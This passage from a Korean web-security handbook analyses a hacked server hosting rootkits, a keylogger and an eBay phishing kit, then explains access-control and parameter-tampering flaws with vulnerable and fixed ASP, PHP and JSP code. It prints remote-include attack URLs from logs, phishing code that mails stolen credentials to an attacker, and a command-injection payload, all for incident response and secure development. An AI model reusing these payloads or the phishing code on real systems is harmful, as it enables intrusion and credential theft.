으며, 사용 중인 웹 게시판은 취약한 제로보드 4.1 pl4을 사용하고 있었다. 제
로보드는 취약한 버전이었으며, php.ini의 설정 또한 "allow_url_fopen =On",
"register_globals=On"으로 설정되어 있어 외부의 공격이 가능한 상태였다. 최
근 PHP 환경설정 오류 및 제로보드의 보안 취약점으로 인한 홈페이지 변조
사고가 대규모로 발생되어 이 취약점으로 인한 공격을 우선 의심하였다.
/var/log 디렉토리 전체가 삭제된 상태였으며, 이는 홈페이지 해킹 등 일
반적인 해킹에서는 쉽게 볼 수 없는 것으로 공격자가 자신의 행위를 숨기기
위한 행위로 판단된다.
또한, 실제 해당 피해 시스템에는 사고가 접수된 2월 이전에 많은 공격관
련 파일들과 루트킷이 설치되어 있어 다수의 공격자에 의해 이미 공격을 받
19
은 것으로 추정된다.
다음은 해당 시스템에서 발견한 공격자의 공격행위와 피해 현황들이다.
○ 루트킷, 스니퍼 등 악성 프로그램 설치
2001년 3월 이후부터 다수의 디렉토리에서 악성 프로그램이 발견되었으며,
시스템 파일들도 상당수 변조된 상태였다.
먼저, 2001년 3월 15일 /usr/lib/libsh에 스니퍼 프로그램(shsniff)와 로그
삭제 프로그램(hide), 그리고 스캐닝 도구 등이 설치되었다.
[root@t4linux libsh]# ls -alct
total 36
-rw-r--r-- 1 root root 2000 Mar 15 2001 hide
-rw-r--r-- 1 root root 1345 Mar 15 2001 shsb
drwxr-xr-x 2 root root 4096 Feb 24 19:11 utilz
drwxr-xr-x 2 root root 4096 Feb 24 19:11 .sniff
drwxr-xr-x 2 root root 4096 Feb 24 19:11 .owned
drwxr-xr-x 2 root root 4096 Feb 24 19:11 .backup
drwxr-xr-x 4 root root 4096 Feb 24 19:11 ..
[root@t4linux libsh]#
2005년 1월 26일에는 /usr/include 아래에 루트킷의 환경설정 파일이 발
견되었으며, 이 파일이 생성된 날짜에 ls, ps 등 주요 파일들도 변조되어 있
었다. 일반적으로 /usr/include는 헤드파일(*.h)이 저장되는 곳으로 여기에
file.h, hosts.h와 같이 정상적인 헤드파일로 위장하여 루트킷을 위한 설정파
일을 만들어 놓고 있었다.
다음은 루트킷 환경설정파일의 내용으로서, 이를 통해 역으로 공격 프로그
램들이나 공격자를 추정할 수 있다.
제2장 홈페이지 해킹 현황 및 사례
[표 2-1] 루트킷 환경설정 파일
파일명 내 용 파일명 내 용
file.h
sh.conf
libsh
.sh
system
shsb
libsh.so
shp
shsniff
srd0
hosts.h
2 212.110
2 195.26
2 194.143
2 62.220
3 2002
4 2002
3 6667
4 6667
3 61690
4 61690
log.h
mirkforce
synscan
syslog
proc.h
3 burim
3 mirkforce
3 synscan
3 ttyload
3 shsniff
3 ttymon
3 shsb
3 shp
3 hide
4 ttyload
hosts.h 파일에 특정 IP 블록과 포트들이 보이는데, IP 블록(유럽지역 IP
블록임)은 공격자의 IP일 가능성이 높으며, 포트번호는 백도어 포트나 공격
을 위해 사용되는 포트로 추정된다. 공격자는 IRC에 사용되는 6667 포트도
숨기고자 하였다.
2005년 2월 9일에는 피싱 관련 파일들이 설치된 디렉토리 이름(.4z1z4)과
동일한 디렉토리가 /dev 디렉토리 내에 생성되어 있었다. /dev 디렉토리는
유닉스시스템에서 장치파일들이 있는 곳이나, 관리자가 관심을 가지고 보지
않는 점을 이용하여 공격자들이 공격도구나 공격 결과물들을 숨겨놓는 장소
로 많이 이용되고 있다. /dev/.4z1z4 디렉토리에는 시스템에서 발생되는 모
든 키 입력값이 저장되도록 하는 프로그램과 그 결과가 저장된 파일(.sniffer)
이 발견되었다.
21
다음은 .sniffer의 내용 일부로써 DB 사용자들의 패스워드가 노출되어 있
었으며, 공격자가 다른 시스템을 공격하는 과정도 저장되어 있었다.
./mysqldump -u root -p mysql :
Enter password: xxxxxxxxxx → DB 암호가 노출됨
./mysqldump -u lee -p lee :
Enter password: xxxxxx → DB 암호가 노출됨
․․

chattr -i /bin/ps
/usr/sbin/sshd -R :
./login -h xxx.xxx.xxx.218 : → 해킹한 또 다른 서버로의 접속을 하는 내용이 저장됨
/dev/null
Listening to port 35214
password: m2o3a4z5
/usr/sbin/sshd -R :


○ 제로보드 게시판을 이용한 해킹 흔적
2005년 2월 14일, 피해 시스템에서 운영 중인 3개의 도메인에서 사용 중인
제로보드의 취약점을 이용한 공격시도가 웹 access_log를 통해 확인되었다.
200.103.32.152 - - [14/Feb/2005:08:26:06 +0900] "GET /bbs//include/write.php?
dir=http://www.xxx.xxx.br/contador/cmd?&cmd=id HTTP/1.0" 200 0
219.116.94.139 - - [14/Feb/2005:09:54:38 +0900] "GET
http://xxx.xxx.xxx.kr/bbs//include/write.php?
dir=http://www.xxx.xxx.br/cmd.txt?&cmd=ver HTTP/1.0" 200 0
공격자는 2월 14일경 브라질(200.103.32.152)과 일본(219.116.94.139)으로부터
PHP Injection 공격을 시도하여 웹 서버의 사용자 계정 등을 확인하였다. 로
제2장 홈페이지 해킹 현황 및 사례
그에 남은 기록으로는 실제공격이 가능한 상태였음을 확인할 수 있었으나
해당 로그파일에서 시스템 침입 등 추가적인 공격행위에 대해서는 확인할
수 없었다.
□ 피싱 관련 분석
○ 피싱 관련 파일 분석
피해시스템에는 미국의 전자상거래 사이트인 ebay의 위장 사이트가 구축
되어 있었으며, 일반적인 피싱 사례와 마찬가지로 스팸 메일 발송 등을 통해
위장 페이지의 접속을 유도한 것으로 예상된다.
[root@t4linux ebay]# ls -alct
total 168
drwxr-xr-x 2 root root 4096 Feb 24 19:11 1_files
drwxr-xr-x 3 root root 4096 Feb 24 16:51 .
-rw-r--r-- 1 root root 960 Feb 16 16:52 ebay2.php
-rw-r--r-- 1 root root 12686 Feb 16
16:53http_eBay.comdone-7E-20secure-
7EaSSL-7Earestricted_activations_contine_verify_admin_security_ebay_SSLSECUREDa
eBayaEcheckaEsecaccountID_har263748fusersecrbay1.htm



-rw-r--r-- 1 root root 14331 Feb 16 16:53
http_eBay.comdone-7E-20secure-
7EaSSL-7Earestricted_activations_contine_verify_admin_security_ebay_SSLSECUREDa
eBayaEcheckaEsecaccountID_har263748fusersecrbay7.htm
-rw-r--r-- 1 root root 585 Feb 16 16:54 login1.php
-rw-r--r-- 1 root root 148 Feb 16 16:52 period_ani.gif
-rw-r--r-- 1 root root 195 Feb 16 16:52 1.php
-rw-r--r-- 1 root root 1088 Feb 16 16:52 ebay1.php
drwxr-xr-x 3 root root 4096 Feb 16 16:52 ..
[root@t4linux ebay]#
23
이 위장 페이지들이 고객 정보를 빼내는 과정은 다음과 같았다.
① 최초 접속 시, ebay 사이트의 아이디와 암호를 입력하는 로그인 페이지
에 접속
② 이 페이지에서 실제 존재하는 아이디, 암호를 맞게 입력하였더라도 입력
이 틀렸다는 메시지가 기재된 두 번째 페이지로 연결되어 재차 아이디와
암호를 입력하도록 유도함
③ 두번째 페이지에서 입력된 아이디와 암호는 특정 웹메일 주소
(midyearbayids@yahoo.com)로 발송되며 자동으로 세번째 페이지로 연결됨
$ip = getenv("REMOTE_ADDR");
$mail1='midyearbayids@yahoo.com';
$subject="eb|aylog|in !";


if ($result==1){
mail($mail1,$subject,$mailbody);


?>
④ 세번째 페이지에서는 개인정보를 입력하는 페이지로서 카드번호 및 사회
보장번호(Social Security Number)등의 정보를 입력하도록 되어 있으며,
입력된 카드번호를 확인한다는 메시지를 보여주고 과정 공격자 메일주소
로 입력된 내용을 발송한 후 네 번째 페이지로 연결됨
⑤ 네번째 페이지에서는 입력된 은행정보가 잘못되었다는 메시지를 보여주
며, 카드번호와 은행계좌번호 등의 정보를 입력하는 내용이 기재되어 있
음. 입력 완료 시 역시 공격자 메일주소로 입력내용을 발송한 후 마지막
페이지로 연결됨
⑥ 마지막 페이지에서는 입력된 내용이 잘 확인되었다는 메시지와 함께 인
터넷 익스플로러 종료를 묻는 확인창이 열림
제2장 홈페이지 해킹 현황 및 사례
여기에서 위장 사이트의 공격자 메일 주소를 변경한 후 카드번호 등을 입
력한 결과 아래와 같은 고객 정보가 메일 주소로 수신되는 것을 확인할 수
있었다. 아래 그림에서 피싱 사이트에 입력된 내용이 E-mail을 통해 전달된
것을 볼 수 있다.
(그림 2-8) E-mail을 통해 전달된 금융정보
○ 피싱 관련 로그 분석
2005년 2월 13일, 피싱관련 페이지에 대한 접속 실패 기록이 남아 있었다.
[Sun Feb 13 13:30:20 2005] [error] [client 69.31.82.10] Directory index forbidden by
rule: /home/kypp/public_html/.4z1z4/
[Sun Feb 13 13:30:30 2005] [error] [client 69.31.82.10] Directory index forbidden by
rule: /home/kypp/public_html/.4z1z4/.ssl/html/ebay/
[Sun Feb 13 13:36:31 2005] [error] [client 209.247.193.180] Directory index forbidden
by rule: /home/kypp/public_html/.4z1z4/.ssl/html/ebay/1_files/
25
그리고, 2005년 2월 14일 새벽부터 웹 로그(access_log)에 ebay로 위장된
페이지에 대한 접속성공 기록이 다수 남아 있었다.
66.135.207.155 - - [14/Feb/2005:04:26:27 +0900] "GET /.4z1z4/.ssl/html/ebay/http_eBa
y.comdone-7E-20secure-7EaSSL-7Earestricted_activations_contine_verify_admin_securi
ty_ebay_SSLSECUREDaeBayaEcheckaEsecaccountID_har263748fusersecrbay4.htm
HTTP/1.1" 200 36471
66.77.136.213 - - [14/Feb/2005:05:38:26 +0900] "GET /.4z1z4/.ssl/html/ebay/http_eBay.
comdone-7E-20secure-7EaSSL-7Earestricted_activations_contine_verify_admin_security
_ebay_SSLSECUREDaeBayaEcheckaEsecaccountID_har263748fusersecrbay6.htm
HTTP/1.0" 200 20713
168.143.113.112 - - [14/Feb/2005:11:24:52 +0900] "GET /.4z1z4/.ssl/html/ebay/http_eB
ay.comdone-7E-20secure-7EaSSL-7Earestricted_activations_contine_verify_admin_secu
rity_ebay_SSLSECUREDaeBayaEcheckaEsecaccountID_har263748fusersecrbay4.htm
HTTP/1.1" 200 36471
.....
이 때부터 피싱 메일을 수신한 사용자들이 클릭하여 해당 페이지를 본 것
으로 보이며, 해외의 7개 정도의 IP가 접속하였다. 그러나, log를 확인한 결
과 실제 위장 페이지에서 개인정보를 입력하고 공격자에게 메일을 발송한
내역은 볼 수 없었다.
피해 시스템은 이미 오래 전부터 여러 번에 걸쳐 다수의 해커가 해킹
을 하였으며, ls, ps 등 주요 시스템 파일이 변경되고, 스니핑 프로그램이
설치되는 등 광범위한 피해를 입었다. 최근에는 홈페이지 변조 사건에서
흔히 볼 수 있는 제로보드의 취약점을 이용한 공격(PHP Injection)도 있
었다.
하지만, 이러한 공격에 의해 위장 ebay사이트가 생성되었다는 로그는 찾
을 수 없었다. 또한 일반적인 해킹사고에서 보기 드물게 로그 디렉토리
(/var/log) 전체를 삭제하여 추적을 피하고자 하였다.
제2장 홈페이지 해킹 현황 및 사례
본 사고에서 피싱 위장 사이트의 공격 방법과 공격자를 추적하고자 하였
으나 직접적인 단서를 찾을 수 없어 아쉬웠다. 그러나 최근 국내 다수의 웹
서버들이 가지고 있는 PHP 관련 취약점이 단순 초기화면 변조에 이용될 뿐
아니라 피싱과 같은 범죄에도 이용될 수 있다는 가능성을 확인할 수 있었다.
27
홈페이지 개발 과정에서 발생될 수 있는 보안 취약점은 대단히 다양하다.
본 장에서는 공격자가 공격에 주로 많이 이용하고 홈페이지 개발자가 범하
기 쉬운 주요 보안 취약점 10가지를 소개한다. 각 취약점에 대한 상세한 설
명과 이 취약점에 대한 보안 대책과 프로그래밍 사례를 제시하도록 하겠다.
제1 절 접근통제 취약점
1. 취약점 설명
가. 개요
접근통제는 특정 사용자들에게만 웹 콘텐츠나 기능들에 접근할 수 있도록
허가해 주는 것으로 일반적으로 관리자 페이지에 대한 접근통제가 필요하다.
관리자 페이지는 웹 서비스의 사용자나 데이터, 콘텐츠를 손쉽게 관리하기
위한 목적으로 다양한 기능과 권한을 갖고 있고 이는 홈페이지의 운영에 매
우 중요한 역할을 하고 있으므로 일반사용자는 인증을 통과하지 못하도록
할 뿐 아니라 일반사용자가 관리자 페이지를 볼 수 없도록 해야 한다. 그러
나 일반적으로 추측하기 쉬운 URL(ex: /admin, /manager)을 사용하고 있고
있어, ID/패스워드에 대한 크랙 또는 접근 허가 정책에 대해 요청하는 부분
의 정보를 변경함으로써 접근이 가능한 경우가 많다. 웹 관리자의 권한이 노
출될 경우 홈페이지의 변조뿐만 아니라 취약성 정도에 따라서 웹 서버의 권
한까지도 노출될 위험성이 존재한다.
제3장 홈페이지 개발시 보안 취약점 및 대책
나. 위협 사례
(1) 관리자 페이지 인증 우회
대부분의 관리자 페이지는 http://www.test.com/admin 등과 같이 쉽게
추측이 가능하다. 또 인증 과정이 존재하더라도 SQL Injection, Javascript 변
조 등의 취약점을 이용하여 인증과정을 우회하여 웹 관리자 권한을 획득 할
수 있다.
(그림 3-1) 관리자 페이지 인증을 우회한 화면
다. 취약성 판단
◦ 일반적으로 많이 사용하는 관리자 페이지 명을 입력하여 관리자 페이지
가 존재하는지 점검한다.
29
http://admin.victim.com
http://www.victim.com/admin/
http://www.victim.com/manager/
http://www.victim.com/master/
http://www.victim.com/system/
◦ 관리자가 원격지에서 페이지에 대한 변경을 수행할 때 해당 연결이 적
절히 보호되는지 점검한다.
※ SSL과 같이 암호화된 연결을 사용하는지 점검
◦ 관리자페이지에 기본 관리자 계정 및 패스워드를 입력하여 패스워드 취
약점을 점검한다.
※ 관리자 계정 예 : admin, administrator, manager 등
◦ 홈페이지 패스워드 크랙도구를 이용하여 원격에서 패스워드 크랙을 시
도한다.
◦ 특정 회사의 웹 애플리케이션을 사용하는 경우 해당 회사에서 판매 시
제공하는 기본 계정 및 패스워드를 이용하여 취약점을 점검한다.
※ 특정 제품에 대한 기본계정 및 패스워드는 검색사이트를 검색하여 쉽게 알 수 있다.
◦ 사용자 인증을 통과하여 접속한 페이지에 대하여 인증 과정 없이 중간
페이지에 접속하여 접속이 가능한지를 점검한다.
http://www.victim.com/admin/main.asp
http://www.victim.com/admin/menu.html
2. 보호 대책
일반사용자의 접근이 불필요한 관리자 로그인 페이지 주소를 유추하기
제3장 홈페이지 개발시 보안 취약점 및 대책
어려운 이름으로 변경한다.
중요한 정보를 가진 웹 서버의 특정 페이지들은 관리자 또는 특정 사용
자만 접근할 필요가 있다. 이러한 주요 페이지들은 웹 서버에서 적절한 설
정을 통하여 특정 사용자만 접근이 가능하도록 사용자 접근제한을 할 수
있다.
가. 웹 서버 보호 대책
별도의 네트워크 범위로 IP 레벨의 접근 권한을 설정하고 웹 관리자 메뉴
의 접근을 제한하며 웹 관리자의 인터페이스는 특히, SSL기술을 이용하여
HTTP over SSL과 같은 Data Transaction 암호화를 반드시 적용해야 한다.
가능하다면, VPN과 같은 네트워크 차원의 별도 보안시스템의 설치도 고
려할 필요가 있다.
또한, 관리자 계정으로는 외부 사이트에서 접근하는 것을 허용하지 않는
것이 바람직하다. 대부분의 홈페이지에서 관리자 계정에 많은 권한을 부여하
고 있는 경우가 많고, 일반 사용자용 게시판과는 달리 관리자용 게시판의 경
우에는 별도 관리가 안되고 있는 경우가 많아 관리자 계정 권한 획득 시 홈
페이지 시스템의 권한획득으로 이루어지기 쉽기 때문이다. 따라서 관리자 페
이지의 경우, 사내 IP에서만 접근이 가능하도록 설정하도록 하고, 만일 외부
관리자의 접근이 반드시 필요한 경우라면, 사이트 관리 권한을 외부로 열어
주지 않고도 가능한 VPN 기술을 사용하면 외부 관리자가 회사 내부(혹은
사이트) 네트워크로 접근할 수 있으며, 관리자는 보호된 백엔드 연결을 통해
사이트에 접근할 수 있다.
◦ admin, manager 등과 같이 추측하기 쉬운 디렉토리 명이나 파일명을
사용하지 않음
31
http://www.abc.com/admin.html
http://www.abc.com/admin_main.html
http://www.abc.com/admin/index.html
http://www.abc.com/admin/login.html
http://www.abc.com/master.html
http://www.abc.com/master/index.html
◦ 관리자 페이지의 경우, 관리자 호스트 IP만 접근 가능하도록 설정함
(1) IIS 웹 서버에서 보호 대책
아래의 방법으로 [관리자 페이지] 접근을 제한한다.
◦ 설정→제어판→관리도구→인터넷 서비스 관리자 선택
◦ 해당 관리자 페이지 폴더에 오른쪽 클릭을 하고 등록정보→디렉토리 보
안→IP 주소 및 도메인 이름 제한→편집 버튼을 클릭
◦ 액세스 거부를 선택하고 추가 버튼을 클릭하여 관리자 호스트IP 또는
서브넷을 등록
(그림 3-2) IP 주소별 접근제한
(2) Apache 웹 서버에서 보호 대책
Apache 웹 서버의 환경설정 파일인 httpd.conf 파일의 Directory 섹션의
제3장 홈페이지 개발시 보안 취약점 및 대책
AllowOverride 지시자에서 AuthConfig 또는 All 추가하여 .htaccess를 통하
여 사용자계정, 사용자 패스워드를 등록한 사용자만 접근이 가능하도록 하고
관리자 디렉토리(admin)에 대해 특정 IP에 대해서만 접근이 가능하도록 하
기 위해서 다음과 같이 설정한다.

AllowOverride AuthConfig (또는 All)
Order deny, allow
Deny from all
Allow from 10.10.100.7 10.10.2.1/24

# 먼저 접근을 제어하고자 하는 디렉토리에 대한 상위 디렉토리 정의에
# AllowOverride 부분이 'All', 'AuthConfig', 'FileInfo' 등으로 설정되어 있어야 한다.

......
AllowOverride FileInfo AuthConfig Limit
......

......
AccessFileName .htaccess

Order allow, deny
Deny from all

<.htaccess>
AuthName "인증이 필요한 관리자 페이지 입니다."
AuthType Basic
AuthUserFile /home/www/admin/.htpasswd
AuthGroupFile /dev/null
require valid-user
Order deny, allow
Deny from all
Allow from 10.10.100.7 10.10.2.1/24
33
관리자 페이지와 같이 인증이 필요한 디렉토리에 .htaccess 파일을 만들고
admin 계정의 패스워드를 다음과 같이 설정한다. 위와 같이 설정 후
~apache/bin/htpasswd를 이용하여 사용자정보 파일(.htpasswd)을 생성한다.
# ~apache/bin/htpasswd -c /home/www/admin/.htpasswd [사용자명]
New password: ***********
Re-type new password: ***********
Adding password for user [사용자명]
#
※ 주의사항
① Apache 서버의 경우 AllowOverride 지시자를 변경시 apache restart가 필요하다.
② 관리자 페이지의 디렉토리명을 변경시 웹 프로그램에서 관리자 디렉토리의 경로
명을 지정하고 있는 경우 웹 프로그램 또한 수정해야 한다
③ 관리자 페이지 웹 서버 인증 설정시 관리자 디렉토리에는 일반 사용자의 접근이 필요
한 파일이 존재하지 않아야 한다.
나. 개발 언어별 대책
웹 관리자 메뉴의 접근을 특정 네트워크 대역으로 제한하여, IP Address
까지도 인증요소로 체크하도록 웹 관리자 사용자인터페이스를 개발하고, 관
리자 인증 후 접속할 수 있는 페이지의 경우 해당 페이지 주소를 직접 입력
하여 들어가지 못하도록 관리자 페이지 각각에 대하여 관리자 인증을 위한
세션관리를 해야 한다.
◦ 접근 통제 정책을 구현하고 있는 코드는 구조화, 모듈화가 되어 있어야
한다.
◦ 접근제어가 필요한 모든 페이지에 통제수단(로그인 체크 및 권한 체크)
을 구현해야 한다. 특히, 하나의 프로세스가 여러 개의 페이지 또는 모
듈로 이루어져 있을 때 권한 체크가 누락되는 경우를 방지하기 위해서
공통 모듈을 사용하는 것을 권장한다.
제3장 홈페이지 개발시 보안 취약점 및 대책
◦ 인증 과정을 처리하는 부분에 Client Side script(Javascript, VBscript 등)
을 사용하면 사용자가 임의로 수정할 수 있으므로 Server Side script
(PHP, ASP, JSP 등)를 통하여 인증 및 필터링 과정이 수행되어야 한다.
□ 취약한 프로그래밍 예


<scRIPT language="Javascript“>
function getCookie(name)
var cname = name +" ;?,=";
var dc = document.cookie;
if(dc.length > 0)
begin = dc.indexOf(cname);
if(begin != -1)
begin += cname.length;
end = dc.indexOf(" begin);
if(end == -1) end = dc.length;
retrun unescape(dc.substring(begin, end));
return null;
function getValue(element)
var value = getCookie(element.name);
if(value != null) element.value = value;
</scRIPT>


<scRIPT language="Javascript“>
var auth;
auth = getCookie(" logged_in?);
if(auth != 1) // 인증 성공 쿠키가 없을경우 Main Page로 이동
window.location = "http://victim.com/login.html";
</scRIPT>
관리자 페이지 내용
35
□ 안전한 프로그래밍 예
◦ ASP
<%
If myfunc_userauth(userid, userpw) <> 1 Then 'DB에서 사용자 인증을 처리
Response.write "인증 실패"
Else
If Request.ServerVariables("REMOTE_ADDR") <> "10.10.1.1" Then' 관리자 IP 확인
Response.write "관리자 IP가 아닙니다."
Response.write "인증실패“
LogSave(userid, user_ip, 0)'접속에 실패한 ID 및 IP 기록
Else
Session("logged_in") = 1'인증에 성공했을경우 logged_in 에 1의 값을 셋팅
Session("userid") = userid
Session("user_ip") = Request.ServerVariables("REMOTE_ADDR")
LogSave($userid, $user_ip)'접속에 사용한 ID 및 IP 기록
... 중략 ...
End If
End If
%>
◦ PHP
@session_start(); //세션 데이터를 초기화
if(!myfunc_userauth($userid, $userpw) || $_SERVER["REMOTE_ADDR'] != "10.10.1.1")
//DB 에서 사용자 인증을 처리, 관리자 IP인지 확인
print "인증 실패";
LogSave(userid, user_ip, 0)'접속에 실패한 ID 및 IP 기록
exit;//인증 실패시 종료
//인증에 성공한 경우 처리 해야 되는 부분
if (!session_is_registered("logged_in"))
$logged_in = 1;//인증에 성공했을경우 logged_in 에 1의 값을 셋팅
$user_ip = $_SERVER["REMOTE_ADDR"];
session_register("logged_in");//인증 결과 저장
session_register("userid");//사용자 ID를 저장
session_register("user_ip");//사용자 IP를 저장
LogSave($userid, $user_ip);// 접속한 사용자 ID 및 IP 기록
... 중략 ...
제3장 홈페이지 개발시 보안 취약점 및 대책
◦ JSP
<%@ page contentType="text/html;charset=euc-kr" %>
<%@ page import="java.util.* " %>
<%@ page import="java.sql.* " %>
<%
//HttpSession session = request.getSession(true);
String user_ip = request.getRemoteAddr();
// form 에서 사용자 id와 사용자 password를 아래 변수로 전달
if(!myfunc_userauth(userid, userpw) || !user_ip.equals("10.10.1.1"))
//DB 에서 사용자 인증을 처리, 관리자 IP인지 확인
out.println "인증 실패";
LogSave(userid, user_ip, 0)'접속에 실패한 ID 및 IP 기록
else
//인증에 성공한 경우 처리 해야 되는 부분
session.putValue("logged_in","logok");
session.putValue("userid",userid);
session.putValue("user_ip", user_ip);
LogSave(userid, user_ip);// 접속한 사용자 ID 및 IP기록
...
37
제2 절 부적절한 파라미터
1. 취약점 설명
가. 개요
일반적으로 웹 애플리케이션은 HTTP 요청(또는 파일) 값을 통해 다음 동
작을 결정하게 되는데 공격자는 URL, 쿼리 문자열, HTTP 헤더, 쿠키,
HTML 폼 인자, HTML hidden 필드 등 모든 HTTP 요청을 변조할 수 있으
며, 이를 통해 사이트의 보안 메커니즘을 우회하고자 시도한다. 흔히 발생하
는 입력 값 변조 공격은 URL 강제 접속, 명령어 삽입, 크로스 사이트 스크
립팅, 버퍼오버플로우, 포맷스트링 공격, SQL 구문 삽입, 쿠키 조작, hidden
필드 조작 등으로 불리 운다.
나. 위협 사례
◦ 인수를 조작하여 시스템 명령어를 실행
Perl , Shell script 등의 스크립트 기반 언어로 짜여진 웹 애플리케이션의
경우, 일반 변수에 특정 문자열을 삽입할 경우 이를 적절히 처리하지 못하고
시스템의 명령어를 실행할 수 있다.
http://test.site.com/cgi-bin/router-stat.pl?router=R10&mode=report
위와 같이 perl로 짜여진 웹 애플리케이션의 경우, 변수인 router에 공격자
가 고안한 특별한 문자열과 함께 시스템 명령어를 삽입했을 때, 명령어가 시
스템의 내부 명령어가 실행 될 수 있다.
제3장 홈페이지 개발시 보안 취약점 및 대책
http://test.site.com/cgi-bin/router-stat.pl?router=R10;`ls;ifconfig`&mode=report
변수 값인 R10에 추가되는 공격자의 문자열 ;`ls;ifconfig` 가 시스템 내부에
서 실행되어 결과 값으로 출력될 수 있다.
(그림 3-3) Argument 변조를 통한 명령 실행
위와 같은 취약점은 스크립트 언어에서 많이 발생되는 것으로 Perl 이나
Shell script 등으로 개발된 스크립트에 대해서 개발자는 작성한 스크립트가
적절하게 변수를 체크하고 있는지, 임의의 문자열에 대해 비정상적으로 동작
하지 않는지 소스레벨에서 검토해야 한다.
다. 취약성 판단
웹 애플리케이션에서 주의 깊게 검증되지 않고 사용되는 모든 HTTP 요청
39
은 흔히 "tainted(더럽혀진)" 인자라고 알려져 있다. Tainted 인자를 사용하고
있지 않은지 파악하는 가장 간단한 방법은 상세 코드 분석이다. 상세 코드
분석을 통해 HTTP 요청에서 정보를 받아들이는 모든 함수를 파악할 수 있
다. 예를 들면 J2EE 애플리케이션 상에서 이런 대상은 HttpServletRequest
클래스의 method들일 것이다. 그러면 해당 입력 값의 변수들이 어디에서 사
용되는지 코드 흐름을 따라가면서 파악할 수 있다. 각 변수들이 사용되기 전
에 검증되지 않는다면 문제 발생 가능성이 높은 것이다. Perl을 사용한다면
"taint" (-T) 옵션을 사용하는 방법을 고려하기 바란다.
OWASP의 WebScarab과 같은 도구를 사용해 tainted 인자를 발견할 수도
있다. HTTP 요청으로 프로그래머가 예상하지 못한 값을 집어넣고 해당 웹
애플리케이션의 반응을 살펴봄으로써, tainted 인자가 사용되는 부분을 파악
할 수도 있다.
※ WebScarab 다운로드 사이트 : http://www.owasp.org/software/webscarab.html
2. 보호 대책
가. 일반 대책
인수 변조를 방지할 수 있는 가장 좋은 방법은 모든 인자에 대해 사용 전
에 입력 값 검증을 수행하는 것이다. 모든 입력 값에 대해 중앙에서 집중적
으로 처리하는 하나의 컴포넌트나 라이브러리를 사용하는 것이 가장 효과적
이다. 입력되는 모든 인자는 허용된 입력 값의 유형과 정확히 일치하는지에
대해 점검하여야 한다. 특정한 악의적 인자나 공격 패턴(signature)만을 필터
링 처리하는 방식"은 효율적이지도 않고, 향후의 유지보수 작업을 어렵게 만
든다.
다음과 같이 스팩 상에 허용된 값만을 받아들이는 "허용(Positive) 방식"을
사용하여 인자를 검증하여야 한다.
제3장 홈페이지 개발시 보안 취약점 및 대책
◦ 데이터 유형 (문자열, 정수형, 실수형 등)
◦ 허용된 문자셋 (character set)
◦ 최대 / 최소 길이
◦ Null 값의 허용 여부
◦ 반드시 필요한 인자와 그렇지 않은 인자
◦ 중복 허용 여부
◦ 숫자의 범위
◦ 타당한 것으로 지정된 값 (열거형 - enumeration 사용)
◦ 타당한 것으로 지정된 패턴 (정규식 사용)
웹 애플리케이션 방화벽과 같은 새로운 종류의 보안 장비는 어느 정도 입
력값 검증 기능을 제공할 수 있다. 그러나 이런 장비를 효율적으로 사용하기
위해서는 사이트에서 사용되는 모든 인자들에 대해 어떤 값이 타당한 것인
지 엄격하게 정의해 놓아야 한다. 이는 곧 URL, 폼 데이터, 쿠키, 쿼리 문자
열, HTML hidden 필드 등 모든 유형의 입력값에 대해 적절히 보안하는 것
을 뜻한다.
나. 개발 언어별 대책
□ ASP
◦ 취약한 프로그래밍 예
<%
strSize = Request.QueryString("font_size")'사용자로부터 폰트의 크기 입력
Response.Write "사용자 입력값 검증"
Response.Write ""
Response.Write "글자 크기 조절"
' ... 중략 ...
41
◦ 안전한 프로그래밍 예
<%
Size = Request.QueryString("font_size")' 사용자로부터 폰트의 크기 입력
Size = CInt(Size)' 입력되는 값을 정수로 형 변환
Response.Write "사용자 입력값 검증"
Response.Write ""
Response.Write "글자 크기 조절"
' ... 중략 ...
□ PHP
◦ 취약한 프로그래밍 예
include "./inc/dbconn.inc";// DB 연결 헤더
include $language . "/head.html";// 각 국가 언어별 HTML 출력
$conn = mysql_connect($SERVER, $USER, $PASSWD);
$query = "select count(*) from main_tbl";
// ... 중략 ...
◦ 안전한 프로그래밍 예
@require_once "./inc/dbconn.inc";// DB 연결 헤더
$default_lang = "korea";// 기본값 설정
if(!file_exists($language."/head.html")) // 파일이 존재하는지 체크
if(eregi("://", $language)) $language = $default_lang;// URL이 포함되는지 체크
else // 파일이 없는 경우 기본값 설정
$language = $default_lang;
@require_once $language . "/head.html";// 각 국가 언어별 HTML 출력
$conn = @mysql_connect($SERVER, $USER, $PASSWD);
$query = "select count(*) from main_tbl";
// ... 중략 ...
제3장 홈페이지 개발시 보안 취약점 및 대책
□ JSP
◦ 취약한 프로그래밍 예
<%@ page contentType="text/html;charset=euc-kr" %>
<%@ page import="java.util.* " %>

< ConTENT="10;URL=http://victim.com/bye.html">


<%
out.print("지금 사용하고 계신 ");
out.print(request.getHeader("USER-AGENT"));
out.print(" 브라우져로는 사이트 접속이 불가능 합니다.");
%>


◦ 안전한 프로그래밍 예
<%@ page contentType="text/html;charset=euc-kr" %>
<%@ page import="java.util.* " %>

< ConTENT="10;URL=http://victim.com/bye.html">


<%
String user_agent = request.getHeader("USER-AGENT");
// HTTP HEADER 중 USER_AGENT를 변경 하여 크로스사이트 스크립트 공격하는 것을
차단
user_agent = user_agent.replaceAll("<","<");// HTML tag가 있을 경우 제거
user_agent = user_agent.replaceAll(">",">");
out.print("지금 사용하고 계신 ");
out.print(user_agent);
out.print(" 브라우져로는 사이트 접속이 불가능 합니다.");
%>


43
제3 절 취약한 세션 관리 (Cookie Injection)
1. 취약점 설명
가. 개요
쿠키(Cookie)는 사용자 정보를 유지할 수 없는 HTTP(Hyper Text Transfer
Protocol)의 단점을 해결할 수 있는 방법의 하나로서 각 서버는 쿠키를 사용
하여 브라우저가 갖고 있는 정보를 참조할 수 있다. 이와 같이 클라이언트에
서 동작되는 쿠키는 암호화 등의 문제를 비롯하여 그 구조상 클라이언트 측
에서의 조작으로 인한 다양한 문제점을 가지고 있어, 많은 웹 프로그래밍 언
어들에는 서버에 클라이언트의 정보를 저장하는 세션(Session)을 지원하고
있다.
적절히 보호되지 않은 쿠키를 사용하면 Cookie Injection등과 같은 쿠키
값 변조를 통하여 다른 사용자로의 위장 및 권한상승 등의 문제가 생길 수
있다. 또한 쿠키 및 세션은 Cookie Sniffing 및 4절에서 이야기 될 악성스크
립트실행(XSS)를 통한 Cookie Hijacking 등과 같은 쿠키 값 복사를 통한 현
재 활성화된 사용자의 권한복제 위험성이 존재한다.
나. 위협 사례
인증을 처리하는 스크립트가 입력 값에 대해 적절히 검사하지 않았을 때
